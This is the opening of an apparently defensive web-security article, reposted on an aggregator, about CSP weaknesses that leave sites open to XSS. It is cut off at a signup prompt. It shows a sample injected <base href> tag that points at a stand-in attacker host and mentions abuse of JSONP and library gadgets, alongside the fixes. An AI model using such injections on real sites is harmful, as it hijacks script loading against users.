Menu

Why Your Content-Security-Policy (CSP) Still Allows XSS: Auditing unsafe-inline, Missing object-src, and base-uri
📰

Why Your Content-Security-Policy (CSP) Still Allows XSS: Auditing unsafe-inline, Missing object-src, and base-uri

DEV Community: infosec·Jason Y. (dev_in_the_fog)·9 days ago
#tWQg6RqH
#devtoinfosec#devto#dev#self#security
Reading 0:00
15s threshold

Adding a Content-Security-Policy header checks a compliance box, but keeping 'unsafe-inline' or broad https: sources to stop widgets from breaking quietly neutralizes its primary XSS defense.

1. Three Real-World CSP Bypasses

script-src 'self' 'unsafe-inline' : Permits injected inline <script> blocks and onerror handlers. Replace with per-request nonces ( 'nonce-...' ) + 'strict-dynamic' .

Missing base-uri & object-src 'none' : Without base-uri 'self' , an injected <base href="https://attacker.example/"> hijacks every relative script include on the page.

Broad CDNs / https: in script-src : Allowing entire public CDNs lets attackers load arbitrary JSONP endpoints or older libraries with gadgets.

2.…

Continue reading — create a free account

Join HashtagPLUS to read full articles, follow hashtags, vote, and join the conversation.